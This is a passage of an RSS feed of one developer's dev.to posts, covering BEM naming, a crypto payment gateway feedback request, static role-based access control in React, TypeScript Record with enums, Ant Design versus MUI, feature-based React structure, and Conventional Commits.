&lt;li&gt;Easier debugging and tracing UI behavior&lt;/li&gt;
&lt;li&gt;Encourages repeatable, stable UI patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Drawbacks and limits
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Class names get longer&lt;/li&gt;
&lt;li&gt;HTML can look busy in small projects&lt;/li&gt;
&lt;li&gt;Requires team consistency; otherwise benefits disappear&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When to use BEM
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Medium/large projects with many shared components&lt;/li&gt;
&lt;li&gt;Multi-person teams or codebases expected to grow&lt;/li&gt;
&lt;li&gt;Component-based architectures (React, Vue, Angular, design systems)&lt;/li&gt;
&lt;li&gt;When long-term maintenance matters&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Quick usage tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Pick meaningful, independent block names—not location-based (&lt;code&gt;card&lt;/code&gt; over &lt;code&gt;sidebar-card&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Avoid deep nesting in CSS; BEM naming reduces the need for it.&lt;/li&gt;
&lt;li&gt;Modifiers should change state, not the fundamental structure of the block.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;BEM’s predictable naming prevents CSS collisions and keeps styles maintainable. For teams and long-lived projects that value clean, extensible code, it’s a proven, low-friction pattern.&lt;/p&gt;

</description>
      <category>css</category>
      <category>designsystem</category>
      <category>scss</category>
    </item>
    <item>
      <title>Building a Crypto Payment Gateway — Looking for Feedback from Developers</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Tue, 07 Jul 2026 08:50:08 +0000</pubDate>
      <link>https://dev.to/naserrasouli/building-a-crypto-payment-gateway-looking-for-feedback-from-developers-1ll2</link>
      <guid>https://dev.to/naserrasouli/building-a-crypto-payment-gateway-looking-for-feedback-from-developers-1ll2</guid>
      <description>&lt;p&gt;👋 Hey DEV community!&lt;/p&gt;

&lt;p&gt;I'm currently building a &lt;strong&gt;crypto payment gateway&lt;/strong&gt; and I'd love to get feedback from people who have experience with crypto payments, fintech, or payment infrastructure.&lt;/p&gt;

&lt;p&gt;If you've ever:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Built or integrated a crypto payment system&lt;/li&gt;
&lt;li&gt;Used crypto payment gateways as a merchant or developer&lt;/li&gt;
&lt;li&gt;Encountered frustrating limitations or missing features&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'd love to hear your thoughts.&lt;/p&gt;

&lt;p&gt;What features do you think are essential?&lt;br&gt;
What problems should a modern crypto payment gateway solve?&lt;br&gt;
Are there any mistakes or pitfalls I should avoid?&lt;/p&gt;

&lt;p&gt;Any ideas, suggestions, or lessons learned are more than welcome. Thanks! 🚀&lt;/p&gt;

&lt;h1&gt;
  
  
  webdev #fintech #crypto #payments #softwareengineering
&lt;/h1&gt;

</description>
      <category>webdev</category>
      <category>fintech</category>
      <category>cryptocurrency</category>
    </item>
    <item>
      <title>Role &amp; Permission Based Access Control in React (Static Access)</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Tue, 09 Sep 2025 06:09:57 +0000</pubDate>
      <link>https://dev.to/naserrasouli/role-permission-based-access-control-in-react-static-access-4ac2</link>
      <guid>https://dev.to/naserrasouli/role-permission-based-access-control-in-react-static-access-4ac2</guid>
      <description>&lt;p&gt;When building an admin panel, one of the most important concerns is how to handle access control. Not every user should be able to see or do everything. For example, admins may be able to create and delete users, while editors can only view and update, and viewers should only see information without making changes.&lt;br&gt;
There are many ways to implement access control, but in this article we’ll focus on a simple and static approach. This means roles and permissions are defined in the codebase (not coming from an API), which is often enough for small to medium projects or when your access rules are not supposed to change frequently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We’ll break it down into two parts:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Route-level access: making sure users can only navigate to the pages they are allowed to.&lt;/li&gt;
&lt;li&gt;Component-level access: showing or hiding specific buttons, menus, or features inside a page depending on permissions.
This approach keeps your project clean, scalable, and ready to extend if later you decide to fetch permissions dynamically from your backend.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  1. Define Roles and Permissions
&lt;/h2&gt;

&lt;p&gt;The first step is to define the roles and their associated permissions. Since we are working with static access control, we can hardcode them inside a roles.ts file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// roles.ts
export const ROLES = {
  ADMIN: "ADMIN",
  EDITOR: "EDITOR",
  VIEWER: "VIEWER",
} as const;

export const PERMISSIONS = {
  USER_CREATE: "USER_CREATE",
  USER_DELETE: "USER_DELETE",
  USER_VIEW: "USER_VIEW",
} as const;

export const roleAccess = {
  [ROLES.ADMIN]: ["dashboard", "users", "settings"],
  [ROLES.EDITOR]: ["dashboard", "users"],

};

export const rolePermissions = {
  [ROLES.ADMIN]: [PERMISSIONS.USER_CREATE, PERMISSIONS.USER_DELETE, PERMISSIONS.USER_VIEW],


};

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we defined:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ROLES: user types (admin, editor, viewer).&lt;/li&gt;
&lt;li&gt;PERMISSIONS: actions that can be allowed (create, delete, view).&lt;/li&gt;
&lt;li&gt;roleAccess: which pages each role can access.&lt;/li&gt;
&lt;li&gt;rolePermissions: which actions each role can perform.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  2. Route-Level Access with ProtectedRoute
&lt;/h2&gt;

&lt;p&gt;We need to prevent unauthorized users from accessing certain routes. For example, a viewer should not be able to open the users management page.&lt;br&gt;
We can build a ProtectedRoute component that checks if the current user’s role is included in the allowed list. If not, it redirects them to an “unauthorized” page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// ProtectedRoute.tsx
import { Navigate } from "react-router-dom";
import { useAuth } from "@/hooks/useAuth";
import { roleAccess, ROLES } from "./roles";

export const ProtectedRoute = ({
  children,
  allowed,
}: {
  children: JSX.Element;
  allowed: string[];
}) =&amp;gt; {
  const { role } = useAuth();

  if (!role || !allowed.includes(role)) {
    return &amp;lt;Navigate to="/unauthorized" replace /&amp;gt;;
  }

  return children;
};

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we can use it in our routes configuration like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// routes.tsx
import { ProtectedRoute } from "./ProtectedRoute";
import { roleAccess, ROLES } from "./roles";
import DashboardPage from "@/features/dashboard/pages/DashboardPage";
import UsersPage from "@/features/users/pages/UsersPage";

export const routes = [
  {
    path: "/dashboard",
    element: (
      &amp;lt;ProtectedRoute allowed={roleAccess[ROLES.VIEWER]}&amp;gt;
        &amp;lt;DashboardPage /&amp;gt;
      &amp;lt;/ProtectedRoute&amp;gt;
    ),
  },
  {
    path: "/users",
    element: (
      &amp;lt;ProtectedRoute allowed={roleAccess[ROLES.EDITOR]}&amp;gt;
        &amp;lt;UsersPage /&amp;gt;
      &amp;lt;/ProtectedRoute&amp;gt;
    ),
  },
];

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, only the roles listed in roleAccess will be able to visit these routes.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Component-Level Access with AccessControl
&lt;/h2&gt;

&lt;p&gt;Route-level control is not always enough. Often you’ll want to hide or show specific UI elements inside a page depending on the user’s permissions. For example, only admins should see a “Delete User” button.&lt;br&gt;
We can create an AccessControl component that checks for a specific permission.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// AccessControl.tsx
import { ReactNode } from "react";
import { useAuth } from "@/hooks/useAuth";
import { rolePermissions } from "./roles";

interface Props {
  permission: string;
  children: ReactNode;
}

export const AccessControl = ({ permission, children }: Props) =&amp;gt; {
  const { role } = useAuth();

  if (!role) return null;

  const permissions = rolePermissions[role] || [];

  return permissions.includes(permission) ? &amp;lt;&amp;gt;{children}&amp;lt;/&amp;gt; : null;
};

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Usage example inside a page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { AccessControl } from "@/components/AccessControl";
import { PERMISSIONS } from "@/routes/roles";

function UsersPage() {
  return (
    &amp;lt;div&amp;gt;
      &amp;lt;h1&amp;gt;User List&amp;lt;/h1&amp;gt;

      &amp;lt;AccessControl permission={PERMISSIONS.USER_CREATE}&amp;gt;
        &amp;lt;button&amp;gt;Add User&amp;lt;/button&amp;gt;
      &amp;lt;/AccessControl&amp;gt;

      &amp;lt;AccessControl permission={PERMISSIONS.USER_DELETE}&amp;gt;
        &amp;lt;button&amp;gt;Delete User&amp;lt;/button&amp;gt;
      &amp;lt;/AccessControl&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br&gt;
With just a few simple steps, we created a clean static access control system in React:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ProtectedRoute handles route-level access.&lt;/li&gt;
&lt;li&gt;AccessControl handles UI-level access.&lt;/li&gt;
&lt;li&gt;Roles and permissions are defined in one place, making it easy to manage.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach is perfect for projects where roles and permissions are not changing often. Later, if you want to fetch permissions dynamically from an API, you can simply replace the hardcoded roleAccess and rolePermissions with values coming from your backend.&lt;br&gt;
This makes your admin panel more secure, maintainable, and scalable.&lt;br&gt;
Happy coding 🚀&lt;/p&gt;

</description>
      <category>react</category>
      <category>typescript</category>
      <category>javascript</category>
      <category>frontend</category>
    </item>
    <item>
      <title>Mastering Record in TypeScript: The Clean Way to Map Enums to Labels and Colors</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Fri, 22 Aug 2025 11:31:30 +0000</pubDate>
      <link>https://dev.to/naserrasouli/mastering-record-in-typescript-the-clean-way-to-map-enums-to-labels-and-colors-46bh</link>
      <guid>https://dev.to/naserrasouli/mastering-record-in-typescript-the-clean-way-to-map-enums-to-labels-and-colors-46bh</guid>
      <description>&lt;p&gt;“Have you ever needed to display user-friendly labels, icons, or colors for numeric enums in TypeScript? Many devs either use switch statements or ad-hoc objects — but there’s a cleaner, type-safe way: Record.”&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Record in TypeScript?
&lt;/h2&gt;

&lt;p&gt;Short definition: Record is an object type with keys of type K and values of type T.&lt;br&gt;
Think of it as a type-safe way to define “maps” from a known set of keys to specific values.&lt;br&gt;
Here’s a very simple example using a union type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Union type of possible roles
type UserRole = "admin" | "user" | "guest";

// Record&amp;lt;UserRole, string&amp;gt; means:
//   - keys must be "admin" | "user" | "guest"
//   - values must be strings
const roles: Record&amp;lt;UserRole, string&amp;gt; = {
  admin: "Administrator",
  user: "Regular User",
  guest: "Guest User",
};

// ✅ Safe lookup
console.log(roles.admin); // "Administrator"

// ❌ Error: TypeScript won’t let you add an unknown key
// roles.superAdmin = "Super Admin";

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures you don’t forget a key, and you can’t accidentally add extra ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using Record with enums (real-world example)
&lt;/h2&gt;

&lt;p&gt;Union types are nice, but in real-world projects we often work with enums. Let’s say you have an enum that represents payment statuses in your application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;enum PaymentStatus {
  Unpaid = 0,
  Paid = 1,
  Failed = 2,
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you want to display labels and colors in your UI for each status, the naive way would be a bunch of switch statements. Instead, Record gives us a cleaner, safer approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const PaymentStatusMeta: Record&amp;lt;
PaymentStatus, 
{ label: string; color: string }
&amp;gt; = {
  [PaymentStatus.Unpaid]: { label: "Unpaid", color: "orange" },
  [PaymentStatus.Paid]: { label: "Paid", color: "green" },
  [PaymentStatus.Failed]: { label: "Failed", color: "red" },
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, wherever you need metadata for a given status:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const status = PaymentStatus.Paid;
console.log(PaymentStatusMeta[status].label); // "Paid"
console.log(PaymentStatusMeta[status].color); // "green"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Helper function for cleaner usage&lt;/strong&gt;&lt;br&gt;
Instead of directly accessing PaymentStatusMeta every time, you can wrap it in a function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function getPaymentStatusMeta(status: PaymentStatus) {
  return PaymentStatusMeta[status];
}

// Usage
const info = getPaymentStatusMeta(PaymentStatus.Failed);
console.log(info.label); // "Failed"
console.log(info.color); // "red"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the code more expressive and also helps if later you need to add logic (like localization or formatting) inside the function without touching the rest of your codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why use Record? (Advantages)
&lt;/h2&gt;

&lt;p&gt;Using Record in TypeScript to map enums (or unions) to metadata brings several benefits:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full coverage enforced by TypeScript&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TypeScript ensures that every key in your enum or union is included in the Record.&lt;/li&gt;
&lt;li&gt;Forgetting a case results in a compile-time error, preventing runtime bugs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Strong type safety&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Values inside the Record must match the type you specify.&lt;/li&gt;
&lt;li&gt;No more accidentally assigning a string where an object is expected.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Extensible with metadata&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can easily add more fields, like icon, tooltip, localeLabel, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cleaner than switch/case statements&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No repeated switch statements scattered across your codebase.&lt;/li&gt;
&lt;li&gt;Lookup is simple and readable: PaymentStatusMeta[status].label&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Predictable and maintainable&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Future developers immediately know where to find mappings.
Adding a new enum value only requires updating one place.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you found this guide useful:&lt;br&gt;
✅ Save it for future reference.&lt;br&gt;
🔁 Share it with your team or developer friends.&lt;br&gt;
💬 Comment below with your favorite TypeScript patterns or how you handle enum metadata in your projects.&lt;/p&gt;

&lt;p&gt;Happy coding! 🚀&lt;/p&gt;

</description>
      <category>enums</category>
      <category>frontend</category>
      <category>javascript</category>
      <category>typescript</category>
    </item>
    <item>
      <title>Ant Design vs MUI: Which UI Library is Better for Your Next React Project?</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Fri, 08 Aug 2025 13:12:23 +0000</pubDate>
      <link>https://dev.to/naserrasouli/ant-design-vs-mui-which-ui-library-is-better-for-your-next-react-project-532n</link>
      <guid>https://dev.to/naserrasouli/ant-design-vs-mui-which-ui-library-is-better-for-your-next-react-project-532n</guid>
      <description>&lt;p&gt;When building user interfaces in React, choosing the right UI library can have a significant impact on your development speed, code quality, and user experience.&lt;br&gt;
Among the many options available, two libraries stand out: Ant Design and MUI (Material UI). Both are powerful, widely-used, and well-documented — but which one is best for your project?&lt;br&gt;
As a frontend developer who has worked with both Ant Design and MUI in real-world projects, I’ve had the chance to experience their strengths, weaknesses, and subtle differences firsthand. In this article, I’ll share a detailed comparison based on practical use — not just surface-level features.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 What Are Ant Design and MUI?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;MUI (Material UI)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Developed by the MUI team.&lt;/li&gt;
&lt;li&gt;Based on Google’s Material Design.&lt;/li&gt;
&lt;li&gt;Offers 90+ components.&lt;/li&gt;
&lt;li&gt;Known for great documentation and strong TypeScript support.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Ant Design&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Developed by Alibaba.&lt;/li&gt;
&lt;li&gt;Focused on enterprise-level design with a clean, Eastern-inspired aesthetic.&lt;/li&gt;
&lt;li&gt;Great for building admin panels and business dashboards.&lt;/li&gt;
&lt;li&gt;Offers a full design system with layout, components, icons, and utilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;1. Developer Experience (DX)&lt;/strong&gt;&lt;br&gt;
Both libraries offer a solid developer experience, but with different tools and styles.&lt;br&gt;
MUI uses Emotion or styled-components for styling, giving you full power of CSS-in-JS and React’s ecosystem.&lt;br&gt;
Ant Design uses Less, which can be powerful but requires extra configuration in Webpack/Vite for customization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Documentation&lt;/strong&gt;&lt;br&gt;
MUI provides in-depth documentation with live examples, clear explanations, and customization guides.&lt;br&gt;
Ant Design also has decent documentation, but some advanced topics (like dynamic forms or theme customization) can feel lacking or scattered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Design and Aesthetics (UI/UX)&lt;/strong&gt;&lt;br&gt;
There’s a clear difference in design philosophy:&lt;br&gt;
MUI looks modern, clean, and mobile-friendly. It’s a perfect fit for apps that follow Material Design guidelines.&lt;br&gt;
Ant Design feels more professional and formal, making it ideal for enterprise dashboards or B2B applications.&lt;br&gt;
For example:&lt;br&gt;
Ant’s Form component is much more powerful than MUI’s out of the box.&lt;br&gt;
MUI’s typography and spacing system is more intuitive for custom layouts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Customization &amp;amp; Theming&lt;/strong&gt;&lt;br&gt;
MUI offers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A powerful theming system with full TypeScript support.&lt;/li&gt;
&lt;li&gt;Light/dark mode out of the box.&lt;/li&gt;
&lt;li&gt;Theme customization using the ThemeProvider.
Ant Design allows theme customization using Less variables, but:&lt;/li&gt;
&lt;li&gt;You need additional setup with Webpack/Vite plugins.&lt;/li&gt;
&lt;li&gt;Real-time theme switching is harder to implement.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;5. TypeScript Support&lt;/strong&gt;&lt;br&gt;
Both libraries support TypeScript, but:&lt;br&gt;
MUI has excellent TypeScript support, with strong typing for generics and customizable components.&lt;br&gt;
Ant Design also works well with TS, though complex components like Form or Table can get tricky.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. RTL Support (Right-to-Left)&lt;/strong&gt;&lt;br&gt;
MUI provides built-in RTL support. Just set direction: "rtl" in your theme.&lt;br&gt;
Ant Design supports RTL, but requires manual setup and injecting RTL-specific styles using ConfigProvider.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Performance &amp;amp; Tree-Shaking&lt;/strong&gt;&lt;br&gt;
MUI is designed to support tree-shaking, meaning you can import only what you use, keeping bundle sizes small.&lt;br&gt;
Ant Design is heavier by default, but you can optimize it using babel-plugin-import or Vite’s plugin to enable on-demand loading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✅ Final Thoughts: Which One Should You Choose?&lt;/strong&gt;&lt;br&gt;
It depends on your project needs and design direction:&lt;br&gt;
🔹 Choose MUI if you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prefer Google’s Material Design&lt;/li&gt;
&lt;li&gt;Need easy theming and light/dark mode&lt;/li&gt;
&lt;li&gt;Want better TypeScript support&lt;/li&gt;
&lt;li&gt;Prioritize mobile-friendly design&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🔸 Choose Ant Design if you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Are building enterprise dashboards or admin panels&lt;/li&gt;
&lt;li&gt;Need powerful table and form components&lt;/li&gt;
&lt;li&gt;Prefer a more formal, structured UI&lt;/li&gt;
&lt;li&gt;Don’t mind using Less and extra config&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s no one-size-fits-all answer — both libraries are excellent. Just pick the one that matches your team’s skills and your project’s priorities.&lt;/p&gt;

</description>
      <category>react</category>
      <category>antdesign</category>
      <category>mui</category>
      <category>nextjs</category>
    </item>
    <item>
      <title>Scalable React Projects with Feature-Based Architecture</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Sun, 18 May 2025 11:46:23 +0000</pubDate>
      <link>https://dev.to/naserrasouli/scalable-react-projects-with-feature-based-architecture-117c</link>
      <guid>https://dev.to/naserrasouli/scalable-react-projects-with-feature-based-architecture-117c</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;br&gt;
scaling React apps gets messy quickly as they grow. Flat structures like components/, pages/, and hooks/ don't scale well for real-world applications.&lt;br&gt;
As your application grows, you'll end up with hundreds of unrelated components and hooks dumped into global folders. Searching and maintaining becomes a nightmare.&lt;/p&gt;
&lt;h2&gt;
  
  
  What is Feature-Based Architecture?
&lt;/h2&gt;

&lt;p&gt;Feature-Based Architecture is an organizational pattern where code is grouped by feature or domain, instead of by file type. In traditional React project structures, it's common to see directories like components/, pages/, hooks/, and utils/ at the top level. This might work for small projects, but it quickly becomes hard to manage as the app grows.&lt;br&gt;
In contrast, feature-based architecture groups all files related to a specific functionality (e.g., Posts, Products, Users) together in one directory. Each feature becomes a self-contained module with its own UI components, logic, hooks, types, tests, and even routing if needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🧩 Traditional Structure (By File Type)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/
├── components/
│   ├── PostItem.tsx
│   ├── PostList.tsx
├── pages/
│   └── PostsPage.tsx
├── hooks/
│   └── usePost.ts
├── types/
│   └── post.types.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;❌ This leads to scattered logic. If you're working on "Posts", you’ll jump across multiple folders to maintain or update code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✅ Feature-Based Structure&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;├── core/       # Global configurations, assets, context providers, styles
│   ├── assets/
│   │   └── css/
│   │       └── App.css
│   └── config/ # App-wide config files (e.g., api config, constants)
│       └── env.ts
│
├── layouts/    # Application-level layouts
│   ├── Header.tsx
│   └── FullLayout.tsx
│
├── features/
│   └── Post/
│       ├── components/
│       │   ├── PostItem.tsx
│       │   └── PostList.tsx
│       ├── hooks/
│       │   └── usePost.ts
│       ├── types/
│       │   └── post.types.ts
│       ├── views/
│       │   └── PostView.tsx
│       └── routes.ts
│
├── router.ts     # Application-wide routing
├── main.tsx      # React entry point
└── index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;📌 Notes&lt;/strong&gt;&lt;br&gt;
core/: This is where you put global, app-wide concerns that aren't tied to a specific feature. Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Global CSS or theming&lt;/li&gt;
&lt;li&gt;API clients&lt;/li&gt;
&lt;li&gt;Context providers (like AuthProvider, ThemeProvider)&lt;/li&gt;
&lt;li&gt;Application configuration files (env.ts, routes.config.ts)&lt;/li&gt;
&lt;li&gt;layouts/: Layout components that define page structure (headers, sidebars, wrappers)&lt;/li&gt;
&lt;li&gt;features/: Each folder represents a self-contained domain, including everything that feature needs (UI, logic, routing, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🔍 With this layout, the root-level src/ is clean and clearly segmented into global utilities (core/, layouts/) and isolated business logic (features/).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;📦 Example Repository&lt;/strong&gt;&lt;br&gt;
To help you get started, I’ve built a sample boilerplate using the exact structure described in this article.&lt;/p&gt;

&lt;p&gt;You can check it out on GitHub:&lt;/p&gt;

&lt;p&gt;👉 &lt;a href="https://github.com/naserrasoulii/feature-based-react" rel="noopener noreferrer"&gt;https://github.com/naserrasoulii/feature-based-react&lt;/a&gt;&lt;br&gt;
👉 &lt;a href="https://naserrasouli.ir/en/blog/feature-based-react" rel="noopener noreferrer"&gt;https://naserrasouli.ir/en/blog/feature-based-react&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Feel free to fork it, use it as a base for your own projects, or contribute improvements!&lt;/p&gt;

</description>
      <category>react</category>
      <category>typescript</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Mastering Git Commit Messages with Conventional Commits</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Sun, 04 May 2025 18:10:49 +0000</pubDate>
      <link>https://dev.to/naserrasouli/mastering-git-commit-messages-with-conventional-commits-2p96</link>
      <guid>https://dev.to/naserrasouli/mastering-git-commit-messages-with-conventional-commits-2p96</guid>
      <description>&lt;p&gt;&lt;strong&gt;✳️ Why Should We Care About Commit Message Structure?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In any software project, every small change made to the codebase is recorded in Git history. This history is not just a log of what happened — it's a crucial tool for tracking changes, collaborating with others, managing releases, and automating development workflows.&lt;br&gt;
But when commit messages are written inconsistently or without structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It becomes hard to understand why a change was made&lt;/li&gt;
&lt;li&gt;Generating changelogs becomes manual and time-consuming&lt;/li&gt;
&lt;li&gt;CI/CD tools can’t effectively leverage the commit history&lt;/li&gt;
&lt;li&gt;And in team environments, others struggle to follow your changes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where Conventional Commits come into play. It’s a simple but powerful convention that allows us to write commit messages in a structured, readable, and machine-parsable way — making life easier for both developers and tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🧠 What is &lt;a href="https://www.conventionalcommits.org/" rel="noopener noreferrer"&gt;Conventional Commits&lt;/a&gt;?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Conventional Commits is a standardized convention for writing commit messages in Git. It helps developers write structured, meaningful, and automatable messages to track changes more effectively.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🏗 Commit Message Structure&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;type&amp;gt;(optional scope): &amp;lt;short description&amp;gt;
[optional body]
[optional footer(s)]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Main Components:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;type&lt;/strong&gt;: The type of change (required)&lt;br&gt;
&lt;strong&gt;scope&lt;/strong&gt;: The section of the codebase affected (optional)&lt;br&gt;
&lt;strong&gt;description&lt;/strong&gt;: A concise summary of the change (required)&lt;br&gt;
&lt;strong&gt;body&lt;/strong&gt;: A more detailed explanation (optional)&lt;br&gt;
&lt;strong&gt;footer&lt;/strong&gt;: Used for issue references or breaking changes (optional)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🧩 Common Commit Types&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Type     | Purpose                                          |
| -------- | ------------------------------------------------ |
| feat     | A new feature                                    |
| fix      | A bug fix                                        |
| docs     | Documentation-only changes                       |
| style    | Code formatting (whitespace, etc.)               |
| refactor | Code changes that don’t fix bugs or add features |
| test     | Adding or updating tests                         |
| chore    | Miscellaneous tasks (build tools, etc.)          |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;🧪 Real-World Examples&lt;/strong&gt;&lt;br&gt;
Now that you understand the structure and purpose of Conventional Commits, let’s see how they’re actually used in real development workflows.&lt;br&gt;
In this section, we’ll walk through practical examples of commit messages for common scenarios — from adding features and fixing bugs to making documentation updates and handling breaking changes.&lt;br&gt;
These examples will help you apply the convention correctly and consistently in your own projects.&lt;/p&gt;

